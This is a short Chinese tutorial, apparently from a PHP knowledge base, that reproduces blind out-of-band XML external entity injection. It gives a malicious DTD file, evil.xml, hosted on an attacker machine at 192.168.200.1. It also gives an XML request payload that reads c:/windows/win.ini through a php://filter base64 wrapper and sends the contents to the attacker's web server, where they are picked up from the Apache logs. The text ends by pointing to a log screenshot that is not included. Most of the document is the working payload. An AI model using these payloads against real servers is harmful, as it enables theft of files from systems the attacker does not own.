[PHP知识库]外部实体注入（无回显类）复现

思路：

与有回显的外部实体注入的区别在于，攻击的payload无法直接读取敏感信息。

攻击者先将请求发送至目标服务器，目标服务器解析请求，读取192.168.200.1内的恶意DTD，并执行，将结果作为参数来访问192.168.200.1上的http服务，攻击者通过访问192.168.200.1的http记录得到结果

首先在192.168.200.1上创建文件名为evil.xml

内容为

<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://192.168.200.1/a.php?content=%file;'>"> %payload;

将刚才生成的文件存放apache的网页目录下，并开启对apache日志生成和写入

对目标进行登录操作，并且在数据包中构造如下payload

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=c:/windows/win.ini">
<!ENTITY % dtd SYSTEM "http://192.168.200.1/evil.xml">
%dtd;
%send;
]>?

发送数据包后，可以在apache的日志上看见如下图所示